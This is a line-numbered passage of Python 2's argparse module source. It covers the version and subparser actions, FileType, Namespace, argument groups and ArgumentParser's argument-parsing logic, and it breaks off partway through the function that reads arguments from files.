| parser.print_help() 1016 | parser.exit() 1017 | 1018 | 1019 | class _VersionAction(Action): 1020 | 1021 | def __init__(self, 1022 | option_strings, 1023 | version=None, 1024 | dest=SUPPRESS, 1025 | default=SUPPRESS, 1026 | help="show program's version number and exit"): 1027 | super(_VersionAction, self).__init__( 1028 | option_strings=option_strings, 1029 | dest=dest, 1030 | default=default, 1031 | nargs=0, 1032 | help=help) 1033 | self.version = version 1034 | 1035 | def __call__(self, parser, namespace, values, option_string=None): 1036 | version = self.version 1037 | if version is None: 1038 | version = parser.version 1039 | formatter = parser._get_formatter() 1040 | formatter.add_text(version) 1041 | parser.exit(message=formatter.format_help()) 1042 | 1043 | 1044 | class _SubParsersAction(Action): 1045 | 1046 | class _ChoicesPseudoAction(Action): 1047 | 1048 | def __init__(self, name, help): 1049 | sup = super(_SubParsersAction._ChoicesPseudoAction, self) 1050 | sup.__init__(option_strings=[], dest=name, help=help) 1051 | 1052 | def __init__(self, 1053 | option_strings, 1054 | prog, 1055 | parser_class, 1056 | dest=SUPPRESS, 1057 | help=None, 1058 | metavar=None): 1059 | 1060 | self._prog_prefix = prog 1061 | self._parser_class = parser_class 1062 | self._name_parser_map = {} 1063 | self._choices_actions = [] 1064 | 1065 | super(_SubParsersAction, self).__init__( 1066 | option_strings=option_strings, 1067 | dest=dest, 1068 | nargs=PARSER, 1069 | choices=self._name_parser_map, 1070 | help=help, 1071 | metavar=metavar) 1072 | 1073 | def add_parser(self, name, **kwargs): 1074 | # set prog from the existing prefix 1075 | if kwargs.get('prog') is None: 1076 | kwargs['prog'] = '%s %s' % (self._prog_prefix, name) 1077 | 1078 | # create a pseudo-action to hold the choice help 1079 | if 'help' in kwargs: 1080 | help = kwargs.pop('help') 1081 | choice_action = self._ChoicesPseudoAction(name, help) 1082 | self._choices_actions.append(choice_action) 1083 | 1084 | # create the parser and add it to the map 1085 | parser = self._parser_class(**kwargs) 1086 | self._name_parser_map[name] = parser 1087 | return parser 1088 | 1089 | def _get_subactions(self): 1090 | return self._choices_actions 1091 | 1092 | def __call__(self, parser, namespace, values, option_string=None): 1093 | parser_name = values[0] 1094 | arg_strings = values[1:] 1095 | 1096 | # set the parser name if requested 1097 | if self.dest is not SUPPRESS: 1098 | setattr(namespace, self.dest, parser_name) 1099 | 1100 | # select the parser 1101 | try: 1102 | parser = self._name_parser_map[parser_name] 1103 | except KeyError: 1104 | tup = parser_name, ', '.join(self._name_parser_map) 1105 | msg = _('unknown parser %r (choices: %s)' % tup) 1106 | raise ArgumentError(self, msg) 1107 | 1108 | # parse all the remaining options into the namespace 1109 | # store any unrecognized options on the object, so that the top 1110 | # level parser can decide what to do with them 1111 | namespace, arg_strings = parser.parse_known_args(arg_strings, namespace) 1112 | if arg_strings: 1113 | vars(namespace).setdefault(_UNRECOGNIZED_ARGS_ATTR, []) 1114 | getattr(namespace, _UNRECOGNIZED_ARGS_ATTR).extend(arg_strings) 1115 | 1116 | 1117 | # ============== 1118 | # Type classes 1119 | # ============== 1120 | 1121 | class FileType(object): 1122 | """Factory for creating file object types 1123 | 1124 | Instances of FileType are typically passed as type= arguments to the 1125 | ArgumentParser add_argument() method. 1126 | 1127 | Keyword Arguments: 1128 | - mode -- A string indicating how the file is to be opened. Accepts the 1129 | same values as the builtin open() function. 1130 | - bufsize -- The file's desired buffer size. Accepts the same values as 1131 | the builtin open() function. 1132 | """ 1133 | 1134 | def __init__(self, mode='r', bufsize=None): 1135 | self._mode = mode 1136 | self._bufsize = bufsize 1137 | 1138 | def __call__(self, string): 1139 | # the special argument "-" means sys.std{in,out} 1140 | if string == '-': 1141 | if 'r' in self._mode: 1142 | return _sys.stdin 1143 | elif 'w' in self._mode: 1144 | return _sys.stdout 1145 | else: 1146 | msg = _('argument "-" with mode %r' % self._mode) 1147 | raise ValueError(msg) 1148 | 1149 | # all other arguments are used as file names 1150 | if self._bufsize: 1151 | return open(string, self._mode, self._bufsize) 1152 | else: 1153 | return open(string, self._mode) 1154 | 1155 | def __repr__(self): 1156 | args = [self._mode, self._bufsize] 1157 | args_str = ', '.join([repr(arg) for arg in args if arg is not None]) 1158 | return '%s(%s)' % (type(self).__name__, args_str) 1159 | 1160 | # =========================== 1161 | # Optional and Positional Parsing 1162 | # =========================== 1163 | 1164 | class Namespace(_AttributeHolder): 1165 | """Simple object for storing attributes. 1166 | 1167 | Implements equality by attribute names and values, and provides a simple 1168 | string representation. 1169 | """ 1170 | 1171 | def __init__(self, **kwargs): 1172 | for name in kwargs: 1173 | setattr(self, name, kwargs[name]) 1174 | 1175 | __hash__ = None 1176 | 1177 | def __eq__(self, other): 1178 | return vars(self) == vars(other) 1179 | 1180 | def __ne__(self, other): 1181 | return not (self == other) 1182 | 1183 | def __contains__(self, key): 1184 | return key in self.__dict__ 1185 | 1186 | 1187 | class _ActionsContainer(object): 1188 | 1189 | def __init__(self, 1190 | description, 1191 | prefix_chars, 1192 | argument_default, 1193 | conflict_handler): 1194 | super(_ActionsContainer, self).__init__() 1195 | 1196 | self.description = description 1197 | self.argument_default = argument_default 1198 | self.prefix_chars = prefix_chars 1199 | self.conflict_handler = conflict_handler 1200 | 1201 | # set up registries 1202 | self._registries = {} 1203 | 1204 | # register actions 1205 | self.register('action', None, _StoreAction) 1206 | self.register('action', 'store', _StoreAction) 1207 | self.register('action', 'store_const', _StoreConstAction) 1208 | self.register('action', 'store_true', _StoreTrueAction) 1209 | self.register('action', 'store_false', _StoreFalseAction) 1210 | self.register('action', 'append', _AppendAction) 1211 | self.register('action', 'append_const', _AppendConstAction) 1212 | self.register('action', 'count', _CountAction) 1213 | self.register('action', 'help', _HelpAction) 1214 | self.register('action', 'version', _VersionAction) 1215 | self.register('action', 'parsers', _SubParsersAction) 1216 | 1217 | # raise an exception if the conflict handler is invalid 1218 | self._get_handler() 1219 | 1220 | # action storage 1221 | self._actions = [] 1222 | self._option_string_actions = {} 1223 | 1224 | # groups 1225 | self._action_groups = [] 1226 | self._mutually_exclusive_groups = [] 1227 | 1228 | # defaults storage 1229 | self._defaults = {} 1230 | 1231 | # determines whether an "option" looks like a negative number 1232 | self._negative_number_matcher = _re.compile(r'^-\d+$|^-\d*\.\d+$') 1233 | 1234 | # whether or not there are any optionals that look like negative 1235 | # numbers -- uses a list so it can be shared and edited 1236 | self._has_negative_number_optionals = [] 1237 | 1238 | # ==================== 1239 | # Registration methods 1240 | # ==================== 1241 | def register(self, registry_name, value, object): 1242 | registry = self._registries.setdefault(registry_name, {}) 1243 | registry[value] = object 1244 | 1245 | def _registry_get(self, registry_name, value, default=None): 1246 | return self._registries[registry_name].get(value, default) 1247 | 1248 | # ================================== 1249 | # Namespace default accessor methods 1250 | # ================================== 1251 | def set_defaults(self, **kwargs): 1252 | self._defaults.update(kwargs) 1253 | 1254 | # if these defaults match any existing arguments, replace 1255 | # the previous default on the object with the new one 1256 | for action in self._actions: 1257 | if action.dest in kwargs: 1258 | action.default = kwargs[action.dest] 1259 | 1260 | def get_default(self, dest): 1261 | for action in self._actions: 1262 | if action.dest == dest and action.default is not None: 1263 | return action.default 1264 | return self._defaults.get(dest, None) 1265 | 1266 | 1267 | # ======================= 1268 | # Adding argument actions 1269 | # ======================= 1270 | def add_argument(self, *args, **kwargs): 1271 | """ 1272 | add_argument(dest, ..., name=value, ...) 1273 | add_argument(option_string, option_string, ..., name=value, ...) 1274 | """ 1275 | 1276 | # if no positional args are supplied or only one is supplied and 1277 | # it doesn't look like an option string, parse a positional 1278 | # argument 1279 | chars = self.prefix_chars 1280 | if not args or len(args) == 1 and args[0][0] not in chars: 1281 | if args and 'dest' in kwargs: 1282 | raise ValueError('dest supplied twice for positional argument') 1283 | kwargs = self._get_positional_kwargs(*args, **kwargs) 1284 | 1285 | # otherwise, we're adding an optional argument 1286 | else: 1287 | kwargs = self._get_optional_kwargs(*args, **kwargs) 1288 | 1289 | # if no default was supplied, use the parser-level default 1290 | if 'default' not in kwargs: 1291 | dest = kwargs['dest'] 1292 | if dest in self._defaults: 1293 | kwargs['default'] = self._defaults[dest] 1294 | elif self.argument_default is not None: 1295 | kwargs['default'] = self.argument_default 1296 | 1297 | # create the action object, and add it to the parser 1298 | action_class = self._pop_action_class(kwargs) 1299 | if not _callable(action_class): 1300 | raise ValueError('unknown action "%s"' % action_class) 1301 | action = action_class(**kwargs) 1302 | 1303 | # raise an error if the action type is not callable 1304 | type_func = self._registry_get('type', action.type, action.type) 1305 | if not _callable(type_func): 1306 | raise ValueError('%r is not callable' % type_func) 1307 | 1308 | return self._add_action(action) 1309 | 1310 | def add_argument_group(self, *args, **kwargs): 1311 | group = _ArgumentGroup(self, *args, **kwargs) 1312 | self._action_groups.append(group) 1313 | return group 1314 | 1315 | def add_mutually_exclusive_group(self, **kwargs): 1316 | group = _MutuallyExclusiveGroup(self, **kwargs) 1317 | self._mutually_exclusive_groups.append(group) 1318 | return group 1319 | 1320 | def _add_action(self, action): 1321 | # resolve any conflicts 1322 | self._check_conflict(action) 1323 | 1324 | # add to actions list 1325 | self._actions.append(action) 1326 | action.container = self 1327 | 1328 | # index the action by any option strings it has 1329 | for option_string in action.option_strings: 1330 | self._option_string_actions[option_string] = action 1331 | 1332 | # set the flag if any option strings look like negative numbers 1333 | for option_string in action.option_strings: 1334 | if self._negative_number_matcher.match(option_string): 1335 | if not self._has_negative_number_optionals: 1336 | self._has_negative_number_optionals.append(True) 1337 | 1338 | # return the created action 1339 | return action 1340 | 1341 | def _remove_action(self, action): 1342 | self._actions.remove(action) 1343 | 1344 | def _add_container_actions(self, container): 1345 | # collect groups by titles 1346 | title_group_map = {} 1347 | for group in self._action_groups: 1348 | if group.title in title_group_map: 1349 | msg = _('cannot merge actions - two groups are named %r') 1350 | raise ValueError(msg % (group.title)) 1351 | title_group_map[group.title] = group 1352 | 1353 | # map each action to its group 1354 | group_map = {} 1355 | for group in container._action_groups: 1356 | 1357 | # if a group with the title exists, use that, otherwise 1358 | # create a new group matching the container's group 1359 | if group.title not in title_group_map: 1360 | title_group_map[group.title] = self.add_argument_group( 1361 | title=group.title, 1362 | description=group.description, 1363 | conflict_handler=group.conflict_handler) 1364 | 1365 | # map the actions to their new group 1366 | for action in group._group_actions: 1367 | group_map[action] = title_group_map[group.title] 1368 | 1369 | # add container's mutually exclusive groups 1370 | # NOTE: if add_mutually_exclusive_group ever gains title= and 1371 | # description= then this code will need to be expanded as above 1372 | for group in container._mutually_exclusive_groups: 1373 | mutex_group = self.add_mutually_exclusive_group( 1374 | required=group.required) 1375 | 1376 | # map the actions to their new mutex group 1377 | for action in group._group_actions: 1378 | group_map[action] = mutex_group 1379 | 1380 | # add all actions to this container or their group 1381 | for action in container._actions: 1382 | group_map.get(action, self)._add_action(action) 1383 | 1384 | def _get_positional_kwargs(self, dest, **kwargs): 1385 | # make sure required is not specified 1386 | if 'required' in kwargs: 1387 | msg = _("'required' is an invalid argument for positionals") 1388 | raise TypeError(msg) 1389 | 1390 | # mark positional arguments as required if at least one is 1391 | # always required 1392 | if kwargs.get('nargs') not in [OPTIONAL, ZERO_OR_MORE]: 1393 | kwargs['required'] = True 1394 | if kwargs.get('nargs') == ZERO_OR_MORE and 'default' not in kwargs: 1395 | kwargs['required'] = True 1396 | 1397 | # return the keyword arguments with no option strings 1398 | return dict(kwargs, dest=dest, option_strings=[]) 1399 | 1400 | def _get_optional_kwargs(self, *args, **kwargs): 1401 | # determine short and long option strings 1402 | option_strings = [] 1403 | long_option_strings = [] 1404 | for option_string in args: 1405 | # error on strings that don't start with an appropriate prefix 1406 | if not option_string[0] in self.prefix_chars: 1407 | msg = _('invalid option string %r: ' 1408 | 'must start with a character %r') 1409 | tup = option_string, self.prefix_chars 1410 | raise ValueError(msg % tup) 1411 | 1412 | # strings starting with two prefix characters are long options 1413 | option_strings.append(option_string) 1414 | if option_string[0] in self.prefix_chars: 1415 | if len(option_string) > 1: 1416 | if option_string[1] in self.prefix_chars: 1417 | long_option_strings.append(option_string) 1418 | 1419 | # infer destination, '--foo-bar' -> 'foo_bar' and '-x' -> 'x' 1420 | dest = kwargs.pop('dest', None) 1421 | if dest is None: 1422 | if long_option_strings: 1423 | dest_option_string = long_option_strings[0] 1424 | else: 1425 | dest_option_string = option_strings[0] 1426 | dest = dest_option_string.lstrip(self.prefix_chars) 1427 | if not dest: 1428 | msg = _('dest= is required for options like %r') 1429 | raise ValueError(msg % option_string) 1430 | dest = dest.replace('-', '_') 1431 | 1432 | # return the updated keyword arguments 1433 | return dict(kwargs, dest=dest, option_strings=option_strings) 1434 | 1435 | def _pop_action_class(self, kwargs, default=None): 1436 | action = kwargs.pop('action', default) 1437 | return self._registry_get('action', action, action) 1438 | 1439 | def _get_handler(self): 1440 | # determine function from conflict handler string 1441 | handler_func_name = '_handle_conflict_%s' % self.conflict_handler 1442 | try: 1443 | return getattr(self, handler_func_name) 1444 | except AttributeError: 1445 | msg = _('invalid conflict_resolution value: %r') 1446 | raise ValueError(msg % self.conflict_handler) 1447 | 1448 | def _check_conflict(self, action): 1449 | 1450 | # find all options that conflict with this option 1451 | confl_optionals = [] 1452 | for option_string in action.option_strings: 1453 | if option_string in self._option_string_actions: 1454 | confl_optional = self._option_string_actions[option_string] 1455 | confl_optionals.append((option_string, confl_optional)) 1456 | 1457 | # resolve any conflicts 1458 | if confl_optionals: 1459 | conflict_handler = self._get_handler() 1460 | conflict_handler(action, confl_optionals) 1461 | 1462 | def _handle_conflict_error(self, action, conflicting_actions): 1463 | message = _('conflicting option string(s): %s') 1464 | conflict_string = ', '.join([option_string 1465 | for option_string, action 1466 | in conflicting_actions]) 1467 | raise ArgumentError(action, message % conflict_string) 1468 | 1469 | def _handle_conflict_resolve(self, action, conflicting_actions): 1470 | 1471 | # remove all conflicting options 1472 | for option_string, action in conflicting_actions: 1473 | 1474 | # remove the conflicting option 1475 | action.option_strings.remove(option_string) 1476 | self._option_string_actions.pop(option_string, None) 1477 | 1478 | # if the option now has no option string, remove it from the 1479 | # container holding it 1480 | if not action.option_strings: 1481 | action.container._remove_action(action) 1482 | 1483 | 1484 | class _ArgumentGroup(_ActionsContainer): 1485 | 1486 | def __init__(self, container, title=None, description=None, **kwargs): 1487 | # add any missing keyword arguments by checking the container 1488 | update = kwargs.setdefault 1489 | update('conflict_handler', container.conflict_handler) 1490 | update('prefix_chars', container.prefix_chars) 1491 | update('argument_default', container.argument_default) 1492 | super_init = super(_ArgumentGroup, self).__init__ 1493 | super_init(description=description, **kwargs) 1494 | 1495 | # group attributes 1496 | self.title = title 1497 | self._group_actions = [] 1498 | 1499 | # share most attributes with the container 1500 | self._registries = container._registries 1501 | self._actions = container._actions 1502 | self._option_string_actions = container._option_string_actions 1503 | self._defaults = container._defaults 1504 | self._has_negative_number_optionals = \ 1505 | container._has_negative_number_optionals 1506 | 1507 | def _add_action(self, action): 1508 | action = super(_ArgumentGroup, self)._add_action(action) 1509 | self._group_actions.append(action) 1510 | return action 1511 | 1512 | def _remove_action(self, action): 1513 | super(_ArgumentGroup, self)._remove_action(action) 1514 | self._group_actions.remove(action) 1515 | 1516 | 1517 | class _MutuallyExclusiveGroup(_ArgumentGroup): 1518 | 1519 | def __init__(self, container, required=False): 1520 | super(_MutuallyExclusiveGroup, self).__init__(container) 1521 | self.required = required 1522 | self._container = container 1523 | 1524 | def _add_action(self, action): 1525 | if action.required: 1526 | msg = _('mutually exclusive arguments must be optional') 1527 | raise ValueError(msg) 1528 | action = self._container._add_action(action) 1529 | self._group_actions.append(action) 1530 | return action 1531 | 1532 | def _remove_action(self, action): 1533 | self._container._remove_action(action) 1534 | self._group_actions.remove(action) 1535 | 1536 | 1537 | class ArgumentParser(_AttributeHolder, _ActionsContainer): 1538 | """Object for parsing command line strings into Python objects. 1539 | 1540 | Keyword Arguments: 1541 | - prog -- The name of the program (default: sys.argv[0]) 1542 | - usage -- A usage message (default: auto-generated from arguments) 1543 | - description -- A description of what the program does 1544 | - epilog -- Text following the argument descriptions 1545 | - parents -- Parsers whose arguments should be copied into this one 1546 | - formatter_class -- HelpFormatter class for printing help messages 1547 | - prefix_chars -- Characters that prefix optional arguments 1548 | - fromfile_prefix_chars -- Characters that prefix files containing 1549 | additional arguments 1550 | - argument_default -- The default value for all arguments 1551 | - conflict_handler -- String indicating how to handle conflicts 1552 | - add_help -- Add a -h/-help option 1553 | """ 1554 | 1555 | def __init__(self, 1556 | prog=None, 1557 | usage=None, 1558 | description=None, 1559 | epilog=None, 1560 | version=None, 1561 | parents=[], 1562 | formatter_class=HelpFormatter, 1563 | prefix_chars='-', 1564 | fromfile_prefix_chars=None, 1565 | argument_default=None, 1566 | conflict_handler='error', 1567 | add_help=True): 1568 | 1569 | if version is not None: 1570 | import warnings 1571 | warnings.warn( 1572 | """The "version" argument to ArgumentParser is deprecated. """ 1573 | """Please use """ 1574 | """"add_argument(..., action='version', version="N", ...)" """ 1575 | """instead""", DeprecationWarning) 1576 | 1577 | superinit = super(ArgumentParser, self).__init__ 1578 | superinit(description=description, 1579 | prefix_chars=prefix_chars, 1580 | argument_default=argument_default, 1581 | conflict_handler=conflict_handler) 1582 | 1583 | # default setting for prog 1584 | if prog is None: 1585 | prog = _os.path.basename(_sys.argv[0]) 1586 | 1587 | self.prog = prog 1588 | self.usage = usage 1589 | self.epilog = epilog 1590 | self.version = version 1591 | self.formatter_class = formatter_class 1592 | self.fromfile_prefix_chars = fromfile_prefix_chars 1593 | self.add_help = add_help 1594 | 1595 | add_group = self.add_argument_group 1596 | self._positionals = add_group(_('positional arguments')) 1597 | self._optionals = add_group(_('optional arguments')) 1598 | self._subparsers = None 1599 | 1600 | # register types 1601 | def identity(string): 1602 | return string 1603 | self.register('type', None, identity) 1604 | 1605 | # add help and version arguments if necessary 1606 | # (using explicit default to override global argument_default) 1607 | if '-' in prefix_chars: 1608 | default_prefix = '-' 1609 | else: 1610 | default_prefix = prefix_chars[0] 1611 | if self.add_help: 1612 | self.add_argument( 1613 | default_prefix+'h', default_prefix*2+'help', 1614 | action='help', default=SUPPRESS, 1615 | help=_('show this help message and exit')) 1616 | if self.version: 1617 | self.add_argument( 1618 | default_prefix+'v', default_prefix*2+'version', 1619 | action='version', default=SUPPRESS, 1620 | version=self.version, 1621 | help=_("show program's version number and exit")) 1622 | 1623 | # add parent arguments and defaults 1624 | for parent in parents: 1625 | self._add_container_actions(parent) 1626 | try: 1627 | defaults = parent._defaults 1628 | except AttributeError: 1629 | pass 1630 | else: 1631 | self._defaults.update(defaults) 1632 | 1633 | # ======================= 1634 | # Pretty __repr__ methods 1635 | # ======================= 1636 | def _get_kwargs(self): 1637 | names = [ 1638 | 'prog', 1639 | 'usage', 1640 | 'description', 1641 | 'version', 1642 | 'formatter_class', 1643 | 'conflict_handler', 1644 | 'add_help', 1645 | ] 1646 | return [(name, getattr(self, name)) for name in names] 1647 | 1648 | # ================================== 1649 | # Optional/Positional adding methods 1650 | # ================================== 1651 | def add_subparsers(self, **kwargs): 1652 | if self._subparsers is not None: 1653 | self.error(_('cannot have multiple subparser arguments')) 1654 | 1655 | # add the parser class to the arguments if it's not present 1656 | kwargs.setdefault('parser_class', type(self)) 1657 | 1658 | if 'title' in kwargs or 'description' in kwargs: 1659 | title = _(kwargs.pop('title', 'subcommands')) 1660 | description = _(kwargs.pop('description', None)) 1661 | self._subparsers = self.add_argument_group(title, description) 1662 | else: 1663 | self._subparsers = self._positionals 1664 | 1665 | # prog defaults to the usage message of this parser, skipping 1666 | # optional arguments and with no "usage:" prefix 1667 | if kwargs.get('prog') is None: 1668 | formatter = self._get_formatter() 1669 | positionals = self._get_positional_actions() 1670 | groups = self._mutually_exclusive_groups 1671 | formatter.add_usage(self.usage, positionals, groups, '') 1672 | kwargs['prog'] = formatter.format_help().strip() 1673 | 1674 | # create the parsers action and add it to the positionals list 1675 | parsers_class = self._pop_action_class(kwargs, 'parsers') 1676 | action = parsers_class(option_strings=[], **kwargs) 1677 | self._subparsers._add_action(action) 1678 | 1679 | # return the created parsers action 1680 | return action 1681 | 1682 | def _add_action(self, action): 1683 | if action.option_strings: 1684 | self._optionals._add_action(action) 1685 | else: 1686 | self._positionals._add_action(action) 1687 | return action 1688 | 1689 | def _get_optional_actions(self): 1690 | return [action 1691 | for action in self._actions 1692 | if action.option_strings] 1693 | 1694 | def _get_positional_actions(self): 1695 | return [action 1696 | for action in self._actions 1697 | if not action.option_strings] 1698 | 1699 | # ===================================== 1700 | # Command line argument parsing methods 1701 | # ===================================== 1702 | def parse_args(self, args=None, namespace=None): 1703 | args, argv = self.parse_known_args(args, namespace) 1704 | if argv: 1705 | msg = _('unrecognized arguments: %s') 1706 | self.error(msg % ' '.join(argv)) 1707 | return args 1708 | 1709 | def parse_known_args(self, args=None, namespace=None): 1710 | # args default to the system args 1711 | if args is None: 1712 | args = _sys.argv[1:] 1713 | 1714 | # default Namespace built from parser defaults 1715 | if namespace is None: 1716 | namespace = Namespace() 1717 | 1718 | # add any action defaults that aren't present 1719 | for action in self._actions: 1720 | if action.dest is not SUPPRESS: 1721 | if not hasattr(namespace, action.dest): 1722 | if action.default is not SUPPRESS: 1723 | default = action.default 1724 | if isinstance(action.default, basestring): 1725 | default = self._get_value(action, default) 1726 | setattr(namespace, action.dest, default) 1727 | 1728 | # add any parser defaults that aren't present 1729 | for dest in self._defaults: 1730 | if not hasattr(namespace, dest): 1731 | setattr(namespace, dest, self._defaults[dest]) 1732 | 1733 | # parse the arguments and exit if there are any errors 1734 | try: 1735 | namespace, args = self._parse_known_args(args, namespace) 1736 | if hasattr(namespace, _UNRECOGNIZED_ARGS_ATTR): 1737 | args.extend(getattr(namespace, _UNRECOGNIZED_ARGS_ATTR)) 1738 | delattr(namespace, _UNRECOGNIZED_ARGS_ATTR) 1739 | return namespace, args 1740 | except ArgumentError: 1741 | err = _sys.exc_info()[1] 1742 | self.error(str(err)) 1743 | 1744 | def _parse_known_args(self, arg_strings, namespace): 1745 | # replace arg strings that are file references 1746 | if self.fromfile_prefix_chars is not None: 1747 | arg_strings = self._read_args_from_files(arg_strings) 1748 | 1749 | # map all mutually exclusive arguments to the other arguments 1750 | # they can't occur with 1751 | action_conflicts = {} 1752 | for mutex_group in self._mutually_exclusive_groups: 1753 | group_actions = mutex_group._group_actions 1754 | for i, mutex_action in enumerate(mutex_group._group_actions): 1755 | conflicts = action_conflicts.setdefault(mutex_action, []) 1756 | conflicts.extend(group_actions[:i]) 1757 | conflicts.extend(group_actions[i + 1:]) 1758 | 1759 | # find all option indices, and determine the arg_string_pattern 1760 | # which has an 'O' if there is an option at an index, 1761 | # an 'A' if there is an argument, or a '-' if there is a '--' 1762 | option_string_indices = {} 1763 | arg_string_pattern_parts = [] 1764 | arg_strings_iter = iter(arg_strings) 1765 | for i, arg_string in enumerate(arg_strings_iter): 1766 | 1767 | # all args after -- are non-options 1768 | if arg_string == '--': 1769 | arg_string_pattern_parts.append('-') 1770 | for arg_string in arg_strings_iter: 1771 | arg_string_pattern_parts.append('A') 1772 | 1773 | # otherwise, add the arg to the arg strings 1774 | # and note the index if it was an option 1775 | else: 1776 | option_tuple = self._parse_optional(arg_string) 1777 | if option_tuple is None: 1778 | pattern = 'A' 1779 | else: 1780 | option_string_indices[i] = option_tuple 1781 | pattern = 'O' 1782 | arg_string_pattern_parts.append(pattern) 1783 | 1784 | # join the pieces together to form the pattern 1785 | arg_strings_pattern = ''.join(arg_string_pattern_parts) 1786 | 1787 | # converts arg strings to the appropriate and then takes the action 1788 | seen_actions = set() 1789 | seen_non_default_actions = set() 1790 | 1791 | def take_action(action, argument_strings, option_string=None): 1792 | seen_actions.add(action) 1793 | argument_values = self._get_values(action, argument_strings) 1794 | 1795 | # error if this argument is not allowed with other previously 1796 | # seen arguments, assuming that actions that use the default 1797 | # value don't really count as "present" 1798 | if argument_values is not action.default: 1799 | seen_non_default_actions.add(action) 1800 | for conflict_action in action_conflicts.get(action, []): 1801 | if conflict_action in seen_non_default_actions: 1802 | msg = _('not allowed with argument %s') 1803 | action_name = _get_action_name(conflict_action) 1804 | raise ArgumentError(action, msg % action_name) 1805 | 1806 | # take the action if we didn't receive a SUPPRESS value 1807 | # (e.g. from a default) 1808 | if argument_values is not SUPPRESS: 1809 | action(self, namespace, argument_values, option_string) 1810 | 1811 | # function to convert arg_strings into an optional action 1812 | def consume_optional(start_index): 1813 | 1814 | # get the optional identified at this index 1815 | option_tuple = option_string_indices[start_index] 1816 | action, option_string, explicit_arg = option_tuple 1817 | 1818 | # identify additional optionals in the same arg string 1819 | # (e.g. -xyz is the same as -x -y -z if no args are required) 1820 | match_argument = self._match_argument 1821 | action_tuples = [] 1822 | while True: 1823 | 1824 | # if we found no optional action, skip it 1825 | if action is None: 1826 | extras.append(arg_strings[start_index]) 1827 | return start_index + 1 1828 | 1829 | # if there is an explicit argument, try to match the 1830 | # optional's string arguments to only this 1831 | if explicit_arg is not None: 1832 | arg_count = match_argument(action, 'A') 1833 | 1834 | # if the action is a single-dash option and takes no 1835 | # arguments, try to parse more single-dash options out 1836 | # of the tail of the option string 1837 | chars = self.prefix_chars 1838 | if arg_count == 0 and option_string[1] not in chars: 1839 | action_tuples.append((action, [], option_string)) 1840 | char = option_string[0] 1841 | option_string = char + explicit_arg[0] 1842 | new_explicit_arg = explicit_arg[1:] or None 1843 | optionals_map = self._option_string_actions 1844 | if option_string in optionals_map: 1845 | action = optionals_map[option_string] 1846 | explicit_arg = new_explicit_arg 1847 | else: 1848 | msg = _('ignored explicit argument %r') 1849 | raise ArgumentError(action, msg % explicit_arg) 1850 | 1851 | # if the action expect exactly one argument, we've 1852 | # successfully matched the option; exit the loop 1853 | elif arg_count == 1: 1854 | stop = start_index + 1 1855 | args = [explicit_arg] 1856 | action_tuples.append((action, args, option_string)) 1857 | break 1858 | 1859 | # error if a double-dash option did not use the 1860 | # explicit argument 1861 | else: 1862 | msg = _('ignored explicit argument %r') 1863 | raise ArgumentError(action, msg % explicit_arg) 1864 | 1865 | # if there is no explicit argument, try to match the 1866 | # optional's string arguments with the following strings 1867 | # if successful, exit the loop 1868 | else: 1869 | start = start_index + 1 1870 | selected_patterns = arg_strings_pattern[start:] 1871 | arg_count = match_argument(action, selected_patterns) 1872 | stop = start + arg_count 1873 | args = arg_strings[start:stop] 1874 | action_tuples.append((action, args, option_string)) 1875 | break 1876 | 1877 | # add the Optional to the list and return the index at which 1878 | # the Optional's string args stopped 1879 | assert action_tuples 1880 | for action, args, option_string in action_tuples: 1881 | take_action(action, args, option_string) 1882 | return stop 1883 | 1884 | # the list of Positionals left to be parsed; this is modified 1885 | # by consume_positionals() 1886 | positionals = self._get_positional_actions() 1887 | 1888 | # function to convert arg_strings into positional actions 1889 | def consume_positionals(start_index): 1890 | # match as many Positionals as possible 1891 | match_partial = self._match_arguments_partial 1892 | selected_pattern = arg_strings_pattern[start_index:] 1893 | arg_counts = match_partial(positionals, selected_pattern) 1894 | 1895 | # slice off the appropriate arg strings for each Positional 1896 | # and add the Positional and its args to the list 1897 | for action, arg_count in zip(positionals, arg_counts): 1898 | args = arg_strings[start_index: start_index + arg_count] 1899 | start_index += arg_count 1900 | take_action(action, args) 1901 | 1902 | # slice off the Positionals that we just parsed and return the 1903 | # index at which the Positionals' string args stopped 1904 | positionals[:] = positionals[len(arg_counts):] 1905 | return start_index 1906 | 1907 | # consume Positionals and Optionals alternately, until we have 1908 | # passed the last option string 1909 | extras = [] 1910 | start_index = 0 1911 | if option_string_indices: 1912 | max_option_string_index = max(option_string_indices) 1913 | else: 1914 | max_option_string_index = -1 1915 | while start_index <= max_option_string_index: 1916 | 1917 | # consume any Positionals preceding the next option 1918 | next_option_string_index = min([ 1919 | index 1920 | for index in option_string_indices 1921 | if index >= start_index]) 1922 | if start_index != next_option_string_index: 1923 | positionals_end_index = consume_positionals(start_index) 1924 | 1925 | # only try to parse the next optional if we didn't consume 1926 | # the option string during the positionals parsing 1927 | if positionals_end_index > start_index: 1928 | start_index = positionals_end_index 1929 | continue 1930 | else: 1931 | start_index = positionals_end_index 1932 | 1933 | # if we consumed all the positionals we could and we're not 1934 | # at the index of an option string, there were extra arguments 1935 | if start_index not in option_string_indices: 1936 | strings = arg_strings[start_index:next_option_string_index] 1937 | extras.extend(strings) 1938 | start_index = next_option_string_index 1939 | 1940 | # consume the next optional and any arguments for it 1941 | start_index = consume_optional(start_index) 1942 | 1943 | # consume any positionals following the last Optional 1944 | stop_index = consume_positionals(start_index) 1945 | 1946 | # if we didn't consume all the argument strings, there were extras 1947 | extras.extend(arg_strings[stop_index:]) 1948 | 1949 | # if we didn't use all the Positional objects, there were too few 1950 | # arg strings supplied. 1951 | if positionals: 1952 | self.error(_('too few arguments')) 1953 | 1954 | # make sure all required actions were present 1955 | for action in self._actions: 1956 | if action.required: 1957 | if action not in seen_actions: 1958 | name = _get_action_name(action) 1959 | self.error(_('argument %s is required') % name) 1960 | 1961 | # make sure all required groups had one option present 1962 | for group in self._mutually_exclusive_groups: 1963 | if group.required: 1964 | for action in group._group_actions: 1965 | if action in seen_non_default_actions: 1966 | break 1967 | 1968 | # if no actions were used, report the error 1969 | else: 1970 | names = [_get_action_name(action) 1971 | for action in group._group_actions 1972 | if action.help is not SUPPRESS] 1973 | msg = _('one of the arguments %s is required') 1974 | self.error(msg % ' '.join(names)) 1975 | 1976 | # return the updated namespace and the extra arguments 1977 | return namespace, extras 1978 | 1979 | def _read_args_from_files(self, arg_strings): 1980 | # expand arguments referencing files 1981 | new_arg_strings = [] 1982 | for arg_string in arg_strings: 1983 | 1984 | # for regular arguments, just add them back into the list 1985 | if arg_string[0] not in self.fromfile_prefix_chars: 1986 | new_arg_strings.append(arg_string) 1987 | 1988 | # replace arguments referencing files with the file content 1989 | else: 1990 | try: 1991 | args_file = 